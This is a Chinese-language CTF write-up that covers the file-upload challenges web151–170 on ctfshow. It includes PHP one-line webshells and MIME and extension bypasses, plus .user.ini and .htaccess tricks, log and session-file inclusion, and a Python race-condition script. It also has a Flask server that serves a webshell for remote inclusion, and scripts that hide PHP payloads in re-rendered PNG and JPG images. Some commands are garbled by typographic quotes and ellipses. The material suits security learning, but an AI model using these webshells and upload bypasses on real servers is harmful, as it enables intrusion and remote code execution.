ctfshow web入门文件上传总结
1.web151
前端验证
前端验证,修改html代码,上传还有一句话木马的php文件,之后用蚁剑连接即可找到flag
<?php eval($_POST[1])?>
2.web152
后端验证,修改mime类型(content-type)
burp抓包,修改content-type为image/png
3.web153
.user.ini类
后端验证mime类型,只能是图片格式,不能有php后缀
.user.ini配置文件
burp抓包,上传.user.ini,此配置文件时nginx服务的配置文件,写入auto_prepend_file=2.jpg,在上传2.jpg,之后把http://d6a3715e-bc9a-4bc2-8e1e-e540b0bbaeaf.challenge.ctf.show/upload/index.php添加到蚁剑中即可读取flag,访问此链接时会自动包含2.jpg
.user.ini利用需要在此目录下还有php文件,user.ini 上传的文件 原有的php文件需要在同一目录下
.user.ini
auto_prepend_file 表示在文件头包含
auto_append_file 表示在文件尾包含
4.web154
.user.ini类+检测文件内容
后端检查文件内容 类型 不能有php,需要mime类型为图片格式,不能有php后缀
上传.user.ini 写入auto_prepend_file=2.png ,在上传2.php 写一句话木马 <? eval($_POST[1])?>,在把链接加到蚁剑即可读取flag
5.web155
.user.ini类+检测文件内容
文件内容中不能有php,图片必须是png格式,不能有php后缀
php短标签
<? echo '123';?>
<?=(表达式)?> 等价于 <?php echo (表达式)?>
<% echo '123';%>
<script language=”php”>echo '123'; </script>
6.web156
.user.ini类+检测文件内容
文件内容中不能有php,[],图片必须是png格式 ,不能有php后缀
利用的还是.user.ini,写入auto_prepend_file=2.png,在上传2.png ,写入<?php system("cat /var/www/html/flag.???")?>,访问链接就可得到flag (http://…/upload/index.php)
7.web157
.user.ini类+检测文件内容
文件内容中不能有php,[],;, 图片必须是png格式 ,不能有php后缀
利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入<?php system("cat /var/www/html/flag.???")?>,访问链接就可得到flag (http://…/upload/index.php)
8.web158
.user.ini类+检测文件内容
文件内容中不能有php,[],;,{},图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入<?php system("cat /var/www/html/flag.???")?>,访问链接就可得到flag (http://…/upload/index.php)
9.web159
.user.ini类+检测文件内容
文件内容中不能有php,[],;,{},(),图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入<?=`tac …/f*`>,这里的短链接没=是执行不了的,访问链接就可得到flag (http://…/upload/index.php)
10.web160
日志包含配和文件上传(.user.ini)
文件内容中不能有php,[],;,{},(),空格,log,``,图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入<?=include"/var/lo"."g/nginx/access.lo"."g"?>,访问链接就可得到 (http://…/upload/index.php),在ua头中写入一句话<?php eval($_POST[1])?>,再次访问链接 (http://…/upload/index.php)进行命令执行1=system(“tac …/f*”)?>,得到flag
11.web161
日志包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
这题注意上传直接上传图片是不行的
文件内容中不能有php,[],;,{},(),空格,log,``,图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入 GIF89a <?=include"/var/lo"."g/nginx/access.lo"."g"?>,访问链接就可得到 (http://…/upload/index.php),在ua头中写入一句话<?php eval($_POST[1])?>,再次访问链接 (http://…/upload/index.php)进行命令执行1=system(“tac …/f*”)?>,得到flag
12.web162
session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
过滤了点,日志包含没法用了,采用session文件包含
和上题相比过滤了点,日志包含就用不了了,这里采用的是session包含
先上传png,写入GIF89a<?=include"/tmp/sess_1"?>,在上传.user.ini,写入GIF89a
auto_prepend_file=png
import requests
import threading
session=requests.session()
sess='1' #和png后面要包含文件的对应
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
'file':'1' #无所谓
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
]
13.web163
session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
远程文件包含和文件上传(.user.ini) 检测文件头 绕过getimagesize
第二种方法也适用与上一题
1.和上题一样
session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
过滤了点,日志包含没法用了,采用session文件包含
和上题相比过滤了点,日志包含就用不了了,这里采用的是session包含
先上传png,写入GIF89a<?=include"/tmp/sess_1"?>,在上传.user.ini,写入GIF89a
auto_prepend_file=png
2.
可以使用远程文件包含,上传.user.ini,需要把ip转换为数字,注意远程web服务器需要为路由型,这里使用python的flask框架,之后在进行命令执行即可
或者传.user.ini和png分别写入以下内容,这题不行,在上传的一瞬间png文件被删除了
.user.ini
GIF89a
auto_prepend_file=png
png
GIF89a
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
return '<?php @eval($_POST[1]);?>'
if __name__ == '__main__':
app.run(port=80,host='0.0.0.0')
14.web164
考察png二次渲染
png渲染脚本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>
15.web165
考察jpg二次渲染
照片选择这张成功率会高很多
先把这张照片上传到服务器上,在把服务器上已经渲染好的照片下载下来,使用下载下来的照片使用下方的jpg渲染脚本插入php代码
jpg渲染脚本(特别注意需要在linux环境下运行此脚本,windows运行无法渲染成功)
`
<?php
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip)
{
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
16.web166
考察zip文件上传
17.web167
考察apache配置文件.htaccess
<FilesMatch "\.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
上传一张图片马即可
18.web168
基础免杀,过滤post,get,eval等
<?php $_REQUEST[1]($_REQUEST[2])?>
19.web169
考察nginx服务器的配置文件.user.ini日志文件包含
服务器是nignx,上传.user.ini来进行日志包含
进行包含时要注意在上传文件的目录中需要有index.php文件,因为没有index.php文件,所以先上传一个index.php文件,里面随便写就可以
.user.ini
auto_append_file=/var/log/nginx/access.log```
访问上传的文件位置,在user-agent写入一句话木马
post传入1=system(“tac …/flagaa.php”); 执行即可
20.web170
考察nginx服务器的配置文件.user.ini日志文件包含
服务器是nignx,上传.user.ini来进行日志包含
进行包含时要注意在上传文件的目录中需要有index.php文件,因为没有index.php文件,所以先上传一个index.php文件,里面随便写就可以
.user.ini
auto_append_file=/var/log/nginx/access.log```
访问上传的文件位置,在user-agent写入一句话木马
post传入1=system(“tac …/flagaa.php”); 执行即可
var code = “ebb7a1ab-dbdd-468b-be74-dbc47c11310d”